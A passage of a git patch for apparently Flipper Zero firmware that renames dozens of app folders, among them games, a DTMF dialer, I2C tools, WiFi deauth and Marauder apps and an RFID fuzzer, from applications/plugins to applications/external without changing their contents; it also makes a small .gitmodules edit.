external}/wav_player/wav_parser.h (100%) rename applications/{plugins => external}/wav_player/wav_player.c (100%) rename applications/{plugins => external}/wav_player/wav_player_hal.c (100%) rename applications/{plugins => external}/wav_player/wav_player_hal.h (100%) rename applications/{plugins => external}/wav_player/wav_player_view.c (100%) rename applications/{plugins => external}/wav_player/wav_player_view.h (100%) rename applications/{plugins => external}/wifi_marauder_companion/application.fam (100%) rename applications/{plugins => external}/wifi_marauder_companion/scenes/wifi_marauder_scene.c (100%) rename applications/{plugins => external}/wifi_marauder_companion/scenes/wifi_marauder_scene.h (100%) rename applications/{plugins => external}/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h (100%) rename applications/{plugins => external}/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c (100%) rename applications/{plugins => external}/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c (100%) rename applications/{plugins => external}/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c (100%) rename applications/{plugins => external}/wifi_marauder_companion/wifi_10px.png (100%) rename applications/{plugins => external}/wifi_marauder_companion/wifi_marauder_app.c (100%) rename applications/{plugins => external}/wifi_marauder_companion/wifi_marauder_app.h (100%) rename applications/{plugins => external}/wifi_marauder_companion/wifi_marauder_app_i.h (100%) rename applications/{plugins => external}/wifi_marauder_companion/wifi_marauder_custom_event.h (100%) rename applications/{plugins => external}/wifi_marauder_companion/wifi_marauder_uart.c (100%) rename applications/{plugins => external}/wifi_marauder_companion/wifi_marauder_uart.h (100%) rename applications/{plugins => external}/wifi_scanner/FlipperZeroWiFiModuleDefines.h (100%) rename applications/{plugins => external}/wifi_scanner/application.fam (100%) rename applications/{plugins => external}/wifi_scanner/wifi_10px.png (100%) rename applications/{plugins => external}/wifi_scanner/wifi_scanner.c (100%) rename applications/{plugins => external}/zombiez/application.fam (100%) rename applications/{plugins => external}/zombiez/zombie_10px.png (100%) rename applications/{plugins => external}/zombiez/zombiez.c (100%) rename applications/{plugins => external}/zombiez/zombiez.h (100%) delete mode 160000 applications/plugins/dap_link/lib/free-dap diff --git a/.gitmodules b/.gitmodules index 6435cfb1e..5f97063b3 100644 --- a/.gitmodules +++ b/.gitmodules @@ -33,4 +33,4 @@ url = https://github.com/ataradov/free-dap.git [submodule "applications/external/subbrute"] path = applications/external/subbrute - url = https://github.com/derskythe/flipperzero-subbrute.git + url = https://github.com/derskythe/flipperzero-subbrute.git \ No newline at end of file diff --git a/applications/plugins/doom/README.md b/applications/external/doom/README.md similarity index 100% rename from applications/plugins/doom/README.md rename to applications/external/doom/README.md diff --git a/applications/plugins/doom/application.fam b/applications/external/doom/application.fam similarity index 100% rename from applications/plugins/doom/application.fam rename to applications/external/doom/application.fam diff --git a/applications/plugins/doom/assets/door2.png b/applications/external/doom/assets/door2.png similarity index 100% rename from applications/plugins/doom/assets/door2.png rename to applications/external/doom/assets/door2.png diff --git a/applications/plugins/doom/assets/door_inv.png b/applications/external/doom/assets/door_inv.png similarity index 100% rename from applications/plugins/doom/assets/door_inv.png rename to applications/external/doom/assets/door_inv.png diff --git a/applications/plugins/doom/assets/fire_inv.png b/applications/external/doom/assets/fire_inv.png similarity index 100% rename from applications/plugins/doom/assets/fire_inv.png rename to applications/external/doom/assets/fire_inv.png diff --git a/applications/plugins/doom/assets/fireball_inv.png b/applications/external/doom/assets/fireball_inv.png similarity index 100% rename from applications/plugins/doom/assets/fireball_inv.png rename to applications/external/doom/assets/fireball_inv.png diff --git a/applications/plugins/doom/assets/fireball_mask_inv.png b/applications/external/doom/assets/fireball_mask_inv.png similarity index 100% rename from applications/plugins/doom/assets/fireball_mask_inv.png rename to applications/external/doom/assets/fireball_mask_inv.png diff --git a/applications/plugins/doom/assets/gradient_inv.png b/applications/external/doom/assets/gradient_inv.png similarity index 100% rename from applications/plugins/doom/assets/gradient_inv.png rename to applications/external/doom/assets/gradient_inv.png diff --git a/applications/plugins/doom/assets/gun_inv.png b/applications/external/doom/assets/gun_inv.png similarity index 100% rename from applications/plugins/doom/assets/gun_inv.png rename to applications/external/doom/assets/gun_inv.png diff --git a/applications/plugins/doom/assets/gun_mask_inv.png b/applications/external/doom/assets/gun_mask_inv.png similarity index 100% rename from applications/plugins/doom/assets/gun_mask_inv.png rename to applications/external/doom/assets/gun_mask_inv.png diff --git a/applications/plugins/doom/assets/imp_inv.png b/applications/external/doom/assets/imp_inv.png similarity index 100% rename from applications/plugins/doom/assets/imp_inv.png rename to applications/external/doom/assets/imp_inv.png diff --git a/applications/plugins/doom/assets/imp_mask_inv.png b/applications/external/doom/assets/imp_mask_inv.png similarity index 100% rename from applications/plugins/doom/assets/imp_mask_inv.png rename to applications/external/doom/assets/imp_mask_inv.png diff --git a/applications/plugins/doom/assets/item_inv.png b/applications/external/doom/assets/item_inv.png similarity index 100% rename from applications/plugins/doom/assets/item_inv.png rename to applications/external/doom/assets/item_inv.png diff --git a/applications/plugins/doom/assets/item_mask_inv.png b/applications/external/doom/assets/item_mask_inv.png similarity index 100% rename from applications/plugins/doom/assets/item_mask_inv.png rename to applications/external/doom/assets/item_mask_inv.png diff --git a/applications/plugins/doom/assets/logo_inv.png b/applications/external/doom/assets/logo_inv.png similarity index 100% rename from applications/plugins/doom/assets/logo_inv.png rename to applications/external/doom/assets/logo_inv.png diff --git a/applications/plugins/doom/assets/screenshot-imp2.jpg b/applications/external/doom/assets/screenshot-imp2.jpg similarity index 100% rename from applications/plugins/doom/assets/screenshot-imp2.jpg rename to applications/external/doom/assets/screenshot-imp2.jpg diff --git a/applications/plugins/doom/assets/screenshot-intro2.jpg b/applications/external/doom/assets/screenshot-intro2.jpg similarity index 100% rename from applications/plugins/doom/assets/screenshot-intro2.jpg rename to applications/external/doom/assets/screenshot-intro2.jpg diff --git a/applications/plugins/doom/assets/screenshot-medkit2.jpg b/applications/external/doom/assets/screenshot-medkit2.jpg similarity index 100% rename from applications/plugins/doom/assets/screenshot-medkit2.jpg rename to applications/external/doom/assets/screenshot-medkit2.jpg diff --git a/applications/plugins/doom/assets/screenshot-start2.jpg b/applications/external/doom/assets/screenshot-start2.jpg similarity index 100% rename from applications/plugins/doom/assets/screenshot-start2.jpg rename to applications/external/doom/assets/screenshot-start2.jpg diff --git a/applications/plugins/doom/assets/screenshot1.png b/applications/external/doom/assets/screenshot1.png similarity index 100% rename from applications/plugins/doom/assets/screenshot1.png rename to applications/external/doom/assets/screenshot1.png diff --git a/applications/plugins/doom/assets/screenshot2.png b/applications/external/doom/assets/screenshot2.png similarity index 100% rename from applications/plugins/doom/assets/screenshot2.png rename to applications/external/doom/assets/screenshot2.png diff --git a/applications/plugins/doom/assets/screenshot3.png b/applications/external/doom/assets/screenshot3.png similarity index 100% rename from applications/plugins/doom/assets/screenshot3.png rename to applications/external/doom/assets/screenshot3.png diff --git a/applications/plugins/doom/compiled/assets_icons.c b/applications/external/doom/compiled/assets_icons.c similarity index 100% rename from applications/plugins/doom/compiled/assets_icons.c rename to applications/external/doom/compiled/assets_icons.c diff --git a/applications/plugins/doom/compiled/assets_icons.h b/applications/external/doom/compiled/assets_icons.h similarity index 100% rename from applications/plugins/doom/compiled/assets_icons.h rename to applications/external/doom/compiled/assets_icons.h diff --git a/applications/plugins/doom/constants.h b/applications/external/doom/constants.h similarity index 100% rename from applications/plugins/doom/constants.h rename to applications/external/doom/constants.h diff --git a/applications/plugins/doom/display.h b/applications/external/doom/display.h similarity index 100% rename from applications/plugins/doom/display.h rename to applications/external/doom/display.h diff --git a/applications/plugins/doom/doom.c b/applications/external/doom/doom.c similarity index 100% rename from applications/plugins/doom/doom.c rename to applications/external/doom/doom.c diff --git a/applications/plugins/doom/doom_10px.png b/applications/external/doom/doom_10px.png similarity index 100% rename from applications/plugins/doom/doom_10px.png rename to applications/external/doom/doom_10px.png diff --git a/applications/plugins/doom/doom_music_player_worker.c b/applications/external/doom/doom_music_player_worker.c similarity index 100% rename from applications/plugins/doom/doom_music_player_worker.c rename to applications/external/doom/doom_music_player_worker.c diff --git a/applications/plugins/doom/doom_music_player_worker.h b/applications/external/doom/doom_music_player_worker.h similarity index 100% rename from applications/plugins/doom/doom_music_player_worker.h rename to applications/external/doom/doom_music_player_worker.h diff --git a/applications/plugins/doom/entities.c b/applications/external/doom/entities.c similarity index 100% rename from applications/plugins/doom/entities.c rename to applications/external/doom/entities.c diff --git a/applications/plugins/doom/entities.h b/applications/external/doom/entities.h similarity index 100% rename from applications/plugins/doom/entities.h rename to applications/external/doom/entities.h diff --git a/applications/plugins/doom/level.h b/applications/external/doom/level.h similarity index 100% rename from applications/plugins/doom/level.h rename to applications/external/doom/level.h diff --git a/applications/plugins/doom/sound.h b/applications/external/doom/sound.h similarity index 100% rename from applications/plugins/doom/sound.h rename to applications/external/doom/sound.h diff --git a/applications/plugins/doom/types.c b/applications/external/doom/types.c similarity index 100% rename from applications/plugins/doom/types.c rename to applications/external/doom/types.c diff --git a/applications/plugins/doom/types.h b/applications/external/doom/types.h similarity index 100% rename from applications/plugins/doom/types.h rename to applications/external/doom/types.h diff --git a/applications/plugins/dtmf_dolphin/LICENSE b/applications/external/dtmf_dolphin/LICENSE similarity index 100% rename from applications/plugins/dtmf_dolphin/LICENSE rename to applications/external/dtmf_dolphin/LICENSE diff --git a/applications/plugins/dtmf_dolphin/README.md b/applications/external/dtmf_dolphin/README.md similarity index 100% rename from applications/plugins/dtmf_dolphin/README.md rename to applications/external/dtmf_dolphin/README.md diff --git a/applications/plugins/dtmf_dolphin/application.fam b/applications/external/dtmf_dolphin/application.fam similarity index 100% rename from applications/plugins/dtmf_dolphin/application.fam rename to applications/external/dtmf_dolphin/application.fam diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin.c b/applications/external/dtmf_dolphin/dtmf_dolphin.c similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin.c rename to applications/external/dtmf_dolphin/dtmf_dolphin.c diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_audio.c b/applications/external/dtmf_dolphin/dtmf_dolphin_audio.c similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_audio.c rename to applications/external/dtmf_dolphin/dtmf_dolphin_audio.c diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_audio.h b/applications/external/dtmf_dolphin/dtmf_dolphin_audio.h similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_audio.h rename to applications/external/dtmf_dolphin/dtmf_dolphin_audio.h diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_data.c b/applications/external/dtmf_dolphin/dtmf_dolphin_data.c similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_data.c rename to applications/external/dtmf_dolphin/dtmf_dolphin_data.c diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_data.h b/applications/external/dtmf_dolphin/dtmf_dolphin_data.h similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_data.h rename to applications/external/dtmf_dolphin/dtmf_dolphin_data.h diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_event.h b/applications/external/dtmf_dolphin/dtmf_dolphin_event.h similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_event.h rename to applications/external/dtmf_dolphin/dtmf_dolphin_event.h diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_hal.c b/applications/external/dtmf_dolphin/dtmf_dolphin_hal.c similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_hal.c rename to applications/external/dtmf_dolphin/dtmf_dolphin_hal.c diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_hal.h b/applications/external/dtmf_dolphin/dtmf_dolphin_hal.h similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_hal.h rename to applications/external/dtmf_dolphin/dtmf_dolphin_hal.h diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_i.h b/applications/external/dtmf_dolphin/dtmf_dolphin_i.h similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_i.h rename to applications/external/dtmf_dolphin/dtmf_dolphin_i.h diff --git a/applications/plugins/dtmf_dolphin/phone.png b/applications/external/dtmf_dolphin/phone.png similarity index 100% rename from applications/plugins/dtmf_dolphin/phone.png rename to applications/external/dtmf_dolphin/phone.png diff --git a/applications/plugins/dtmf_dolphin/pics/dialer.jpg b/applications/external/dtmf_dolphin/pics/dialer.jpg similarity index 100% rename from applications/plugins/dtmf_dolphin/pics/dialer.jpg rename to applications/external/dtmf_dolphin/pics/dialer.jpg diff --git a/applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene.c b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.c similarity index 100% rename from applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene.c rename to applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.c diff --git a/applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene.h b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.h similarity index 100% rename from applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene.h rename to applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.h diff --git a/applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h similarity index 100% rename from applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h rename to applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h diff --git a/applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c similarity index 100% rename from applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c rename to applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c diff --git a/applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c similarity index 100% rename from applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c rename to applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c diff --git a/applications/plugins/dtmf_dolphin/views/dtmf_dolphin_common.h b/applications/external/dtmf_dolphin/views/dtmf_dolphin_common.h similarity index 100% rename from applications/plugins/dtmf_dolphin/views/dtmf_dolphin_common.h rename to applications/external/dtmf_dolphin/views/dtmf_dolphin_common.h diff --git a/applications/plugins/dtmf_dolphin/views/dtmf_dolphin_dialer.c b/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.c similarity index 100% rename from applications/plugins/dtmf_dolphin/views/dtmf_dolphin_dialer.c rename to applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.c diff --git a/applications/plugins/dtmf_dolphin/views/dtmf_dolphin_dialer.h b/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.h similarity index 100% rename from applications/plugins/dtmf_dolphin/views/dtmf_dolphin_dialer.h rename to applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.h diff --git a/applications/plugins/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h b/applications/external/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h similarity index 100% rename from applications/plugins/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h rename to applications/external/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h diff --git a/applications/plugins/esp8266_deauth/application.fam b/applications/external/esp8266_deauth/application.fam similarity index 100% rename from applications/plugins/esp8266_deauth/application.fam rename to applications/external/esp8266_deauth/application.fam diff --git a/applications/plugins/esp8266_deauth/esp8266_deauth.c b/applications/external/esp8266_deauth/esp8266_deauth.c similarity index 100% rename from applications/plugins/esp8266_deauth/esp8266_deauth.c rename to applications/external/esp8266_deauth/esp8266_deauth.c diff --git a/applications/plugins/esp8266_deauth/wifi_10px.png b/applications/external/esp8266_deauth/wifi_10px.png similarity index 100% rename from applications/plugins/esp8266_deauth/wifi_10px.png rename to applications/external/esp8266_deauth/wifi_10px.png diff --git a/applications/plugins/flappy_bird/application.fam b/applications/external/flappy_bird/application.fam similarity index 100% rename from applications/plugins/flappy_bird/application.fam rename to applications/external/flappy_bird/application.fam diff --git a/applications/plugins/flappy_bird/assets/bird/frame_01.png b/applications/external/flappy_bird/assets/bird/frame_01.png similarity index 100% rename from applications/plugins/flappy_bird/assets/bird/frame_01.png rename to applications/external/flappy_bird/assets/bird/frame_01.png diff --git a/applications/plugins/flappy_bird/assets/bird/frame_02.png b/applications/external/flappy_bird/assets/bird/frame_02.png similarity index 100% rename from applications/plugins/flappy_bird/assets/bird/frame_02.png rename to applications/external/flappy_bird/assets/bird/frame_02.png diff --git a/applications/plugins/flappy_bird/assets/bird/frame_03.png b/applications/external/flappy_bird/assets/bird/frame_03.png similarity index 100% rename from applications/plugins/flappy_bird/assets/bird/frame_03.png rename to applications/external/flappy_bird/assets/bird/frame_03.png diff --git a/applications/plugins/flappy_bird/assets/bird/frame_rate b/applications/external/flappy_bird/assets/bird/frame_rate similarity index 100% rename from applications/plugins/flappy_bird/assets/bird/frame_rate rename to applications/external/flappy_bird/assets/bird/frame_rate diff --git a/applications/plugins/flappy_bird/flappy_10px.png b/applications/external/flappy_bird/flappy_10px.png similarity index 100% rename from applications/plugins/flappy_bird/flappy_10px.png rename to applications/external/flappy_bird/flappy_10px.png diff --git a/applications/plugins/flappy_bird/flappy_bird.c b/applications/external/flappy_bird/flappy_bird.c similarity index 100% rename from applications/plugins/flappy_bird/flappy_bird.c rename to applications/external/flappy_bird/flappy_bird.c diff --git a/applications/plugins/flipfrid/LICENSE.md b/applications/external/flipfrid/LICENSE.md similarity index 100% rename from applications/plugins/flipfrid/LICENSE.md rename to applications/external/flipfrid/LICENSE.md diff --git a/applications/plugins/flipfrid/README.md b/applications/external/flipfrid/README.md similarity index 100% rename from applications/plugins/flipfrid/README.md rename to applications/external/flipfrid/README.md diff --git a/applications/plugins/flipfrid/application.fam b/applications/external/flipfrid/application.fam similarity index 100% rename from applications/plugins/flipfrid/application.fam rename to applications/external/flipfrid/application.fam diff --git a/applications/plugins/flipfrid/flipfrid.c b/applications/external/flipfrid/flipfrid.c similarity index 100% rename from applications/plugins/flipfrid/flipfrid.c rename to applications/external/flipfrid/flipfrid.c diff --git a/applications/plugins/flipfrid/flipfrid.h b/applications/external/flipfrid/flipfrid.h similarity index 100% rename from applications/plugins/flipfrid/flipfrid.h rename to applications/external/flipfrid/flipfrid.h diff --git a/applications/plugins/flipfrid/images/125_10px.png b/applications/external/flipfrid/images/125_10px.png similarity index 100% rename from applications/plugins/flipfrid/images/125_10px.png rename to applications/external/flipfrid/images/125_10px.png diff --git a/applications/plugins/flipfrid/rfid_10px.png b/applications/external/flipfrid/rfid_10px.png similarity index 100% rename from applications/plugins/flipfrid/rfid_10px.png rename to applications/external/flipfrid/rfid_10px.png diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_entrypoint.c b/applications/external/flipfrid/scene/flipfrid_scene_entrypoint.c similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_entrypoint.c rename to applications/external/flipfrid/scene/flipfrid_scene_entrypoint.c diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_entrypoint.h b/applications/external/flipfrid/scene/flipfrid_scene_entrypoint.h similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_entrypoint.h rename to applications/external/flipfrid/scene/flipfrid_scene_entrypoint.h diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_load_custom_uids.c b/applications/external/flipfrid/scene/flipfrid_scene_load_custom_uids.c similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_load_custom_uids.c rename to applications/external/flipfrid/scene/flipfrid_scene_load_custom_uids.c diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_load_custom_uids.h b/applications/external/flipfrid/scene/flipfrid_scene_load_custom_uids.h similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_load_custom_uids.h rename to applications/external/flipfrid/scene/flipfrid_scene_load_custom_uids.h diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_load_file.c b/applications/external/flipfrid/scene/flipfrid_scene_load_file.c similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_load_file.c rename to applications/external/flipfrid/scene/flipfrid_scene_load_file.c diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_load_file.h b/applications/external/flipfrid/scene/flipfrid_scene_load_file.h similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_load_file.h rename to applications/external/flipfrid/scene/flipfrid_scene_load_file.h diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_run_attack.c b/applications/external/flipfrid/scene/flipfrid_scene_run_attack.c similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_run_attack.c rename to applications/external/flipfrid/scene/flipfrid_scene_run_attack.c diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_run_attack.h b/applications/external/flipfrid/scene/flipfrid_scene_run_attack.h similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_run_attack.h rename to applications/external/flipfrid/scene/flipfrid_scene_run_attack.h diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_select_field.c b/applications/external/flipfrid/scene/flipfrid_scene_select_field.c similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_select_field.c rename to applications/external/flipfrid/scene/flipfrid_scene_select_field.c diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_select_field.h b/applications/external/flipfrid/scene/flipfrid_scene_select_field.h similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_select_field.h rename to applications/external/flipfrid/scene/flipfrid_scene_select_field.h diff --git a/applications/plugins/flipper_i2ctools/README.md b/applications/external/flipper_i2ctools/README.md similarity index 100% rename from applications/plugins/flipper_i2ctools/README.md rename to applications/external/flipper_i2ctools/README.md diff --git a/applications/plugins/flipper_i2ctools/application.fam b/applications/external/flipper_i2ctools/application.fam similarity index 100% rename from applications/plugins/flipper_i2ctools/application.fam rename to applications/external/flipper_i2ctools/application.fam diff --git a/applications/plugins/flipper_i2ctools/i2cscanner.c b/applications/external/flipper_i2ctools/i2cscanner.c similarity index 100% rename from applications/plugins/flipper_i2ctools/i2cscanner.c rename to applications/external/flipper_i2ctools/i2cscanner.c diff --git a/applications/plugins/flipper_i2ctools/i2cscanner.h b/applications/external/flipper_i2ctools/i2cscanner.h similarity index 100% rename from applications/plugins/flipper_i2ctools/i2cscanner.h rename to applications/external/flipper_i2ctools/i2cscanner.h diff --git a/applications/plugins/flipper_i2ctools/i2csender.c b/applications/external/flipper_i2ctools/i2csender.c similarity index 100% rename from applications/plugins/flipper_i2ctools/i2csender.c rename to applications/external/flipper_i2ctools/i2csender.c diff --git a/applications/plugins/flipper_i2ctools/i2csender.h b/applications/external/flipper_i2ctools/i2csender.h similarity index 100% rename from applications/plugins/flipper_i2ctools/i2csender.h rename to applications/external/flipper_i2ctools/i2csender.h diff --git a/applications/plugins/flipper_i2ctools/i2csniffer.c b/applications/external/flipper_i2ctools/i2csniffer.c similarity index 100% rename from applications/plugins/flipper_i2ctools/i2csniffer.c rename to applications/external/flipper_i2ctools/i2csniffer.c diff --git a/applications/plugins/flipper_i2ctools/i2csniffer.h b/applications/external/flipper_i2ctools/i2csniffer.h similarity index 100% rename from applications/plugins/flipper_i2ctools/i2csniffer.h rename to applications/external/flipper_i2ctools/i2csniffer.h diff --git a/applications/plugins/flipper_i2ctools/i2ctools.c b/applications/external/flipper_i2ctools/i2ctools.c similarity index 100% rename from applications/plugins/flipper_i2ctools/i2ctools.c rename to applications/external/flipper_i2ctools/i2ctools.c diff --git a/applications/plugins/flipper_i2ctools/i2ctools.gif b/applications/external/flipper_i2ctools/i2ctools.gif similarity index 100% rename from applications/plugins/flipper_i2ctools/i2ctools.gif rename to applications/external/flipper_i2ctools/i2ctools.gif diff --git a/applications/plugins/flipper_i2ctools/i2ctools.png b/applications/external/flipper_i2ctools/i2ctools.png similarity index 100% rename from applications/plugins/flipper_i2ctools/i2ctools.png rename to applications/external/flipper_i2ctools/i2ctools.png diff --git a/applications/plugins/flipper_i2ctools/i2ctools_i.h b/applications/external/flipper_i2ctools/i2ctools_i.h similarity index 100% rename from applications/plugins/flipper_i2ctools/i2ctools_i.h rename to applications/external/flipper_i2ctools/i2ctools_i.h diff --git a/applications/plugins/flipper_i2ctools/images/ButtonDown_7x4.png b/applications/external/flipper_i2ctools/images/ButtonDown_7x4.png similarity index 100% rename from applications/plugins/flipper_i2ctools/images/ButtonDown_7x4.png rename to applications/external/flipper_i2ctools/images/ButtonDown_7x4.png diff --git a/applications/plugins/flipper_i2ctools/images/ButtonLeft_4x7.png b/applications/external/flipper_i2ctools/images/ButtonLeft_4x7.png similarity index 100% rename from applications/plugins/flipper_i2ctools/images/ButtonLeft_4x7.png rename to applications/external/flipper_i2ctools/images/ButtonLeft_4x7.png diff --git a/applications/plugins/flipper_i2ctools/images/ButtonRight_4x7.png b/applications/external/flipper_i2ctools/images/ButtonRight_4x7.png similarity index 100% rename from applications/plugins/flipper_i2ctools/images/ButtonRight_4x7.png rename to applications/external/flipper_i2ctools/images/ButtonRight_4x7.png diff --git a/applications/plugins/flipper_i2ctools/images/ButtonUp_7x4.png b/applications/external/flipper_i2ctools/images/ButtonUp_7x4.png similarity index 100% rename from applications/plugins/flipper_i2ctools/images/ButtonUp_7x4.png rename to applications/external/flipper_i2ctools/images/ButtonUp_7x4.png diff --git a/applications/plugins/flipper_i2ctools/images/Ok_btn_9x9.png b/applications/external/flipper_i2ctools/images/Ok_btn_9x9.png similarity index 100% rename from applications/plugins/flipper_i2ctools/images/Ok_btn_9x9.png rename to applications/external/flipper_i2ctools/images/Ok_btn_9x9.png diff --git a/applications/plugins/flipper_i2ctools/images/i2ctools_main_76x59.png b/applications/external/flipper_i2ctools/images/i2ctools_main_76x59.png similarity index 100% rename from applications/plugins/flipper_i2ctools/images/i2ctools_main_76x59.png rename to applications/external/flipper_i2ctools/images/i2ctools_main_76x59.png diff --git a/applications/plugins/flipper_i2ctools/views/main_view.c b/applications/external/flipper_i2ctools/views/main_view.c similarity index 100% rename from applications/plugins/flipper_i2ctools/views/main_view.c rename to applications/external/flipper_i2ctools/views/main_view.c diff --git a/applications/plugins/flipper_i2ctools/views/main_view.h b/applications/external/flipper_i2ctools/views/main_view.h similarity index 100% rename from applications/plugins/flipper_i2ctools/views/main_view.h rename to applications/external/flipper_i2ctools/views/main_view.h diff --git a/applications/plugins/flipper_i2ctools/views/scanner_view.c b/applications/external/flipper_i2ctools/views/scanner_view.c similarity index 100% rename from applications/plugins/flipper_i2ctools/views/scanner_view.c rename to applications/external/flipper_i2ctools/views/scanner_view.c diff --git a/applications/plugins/flipper_i2ctools/views/scanner_view.h b/applications/external/flipper_i2ctools/views/scanner_view.h similarity index 100% rename from applications/plugins/flipper_i2ctools/views/scanner_view.h rename to applications/external/flipper_i2ctools/views/scanner_view.h diff --git a/applications/plugins/flipper_i2ctools/views/sender_view.c b/applications/external/flipper_i2ctools/views/sender_view.c similarity index 100% rename from applications/plugins/flipper_i2ctools/views/sender_view.c rename to applications/external/flipper_i2ctools/views/sender_view.c diff --git a/applications/plugins/flipper_i2ctools/views/sender_view.h b/applications/external/flipper_i2ctools/views/sender_view.h similarity index 100% rename from applications/plugins/flipper_i2ctools/views/sender_view.h rename to applications/external/flipper_i2ctools/views/sender_view.h diff --git a/applications/plugins/flipper_i2ctools/views/sniffer_view.c b/applications/external/flipper_i2ctools/views/sniffer_view.c similarity index 100% rename from applications/plugins/flipper_i2ctools/views/sniffer_view.c rename to applications/external/flipper_i2ctools/views/sniffer_view.c diff --git a/applications/plugins/flipper_i2ctools/views/sniffer_view.h b/applications/external/flipper_i2ctools/views/sniffer_view.h similarity index 100% rename from applications/plugins/flipper_i2ctools/views/sniffer_view.h rename to applications/external/flipper_i2ctools/views/sniffer_view.h diff --git a/applications/plugins/game15/README.md b/applications/external/game15/README.md similarity index 100% rename from applications/plugins/game15/README.md rename to applications/external/game15/README.md diff --git a/applications/plugins/game15/application.fam b/applications/external/game15/application.fam similarity index 100% rename from applications/plugins/game15/application.fam rename to applications/external/game15/application.fam diff --git a/applications/plugins/game15/game15.c b/applications/external/game15/game15.c similarity index 100% rename from applications/plugins/game15/game15.c rename to applications/external/game15/game15.c diff --git a/applications/plugins/game15/game15_10px.png b/applications/external/game15/game15_10px.png similarity index 100% rename from applications/plugins/game15/game15_10px.png rename to applications/external/game15/game15_10px.png diff --git a/applications/plugins/game15/images/Game15.png b/applications/external/game15/images/Game15.png similarity index 100% rename from applications/plugins/game15/images/Game15.png rename to applications/external/game15/images/Game15.png diff --git a/applications/plugins/game15/images/Game15Popup.png b/applications/external/game15/images/Game15Popup.png similarity index 100% rename from applications/plugins/game15/images/Game15Popup.png rename to applications/external/game15/images/Game15Popup.png diff --git a/applications/plugins/game15/images/Game15Restore.png b/applications/external/game15/images/Game15Restore.png similarity index 100% rename from applications/plugins/game15/images/Game15Restore.png rename to applications/external/game15/images/Game15Restore.png diff --git a/applications/plugins/game15/sandbox.c b/applications/external/game15/sandbox.c similarity index 100% rename from applications/plugins/game15/sandbox.c rename to applications/external/game15/sandbox.c diff --git a/applications/plugins/game15/sandbox.h b/applications/external/game15/sandbox.h similarity index 100% rename from applications/plugins/game15/sandbox.h rename to applications/external/game15/sandbox.h diff --git a/applications/plugins/game_2048/LICENSE b/applications/external/game_2048/LICENSE similarity index 100% rename from applications/plugins/game_2048/LICENSE rename to applications/external/game_2048/LICENSE diff --git a/applications/plugins/game_2048/README.md b/applications/external/game_2048/README.md similarity index 100% rename from applications/plugins/game_2048/README.md rename to 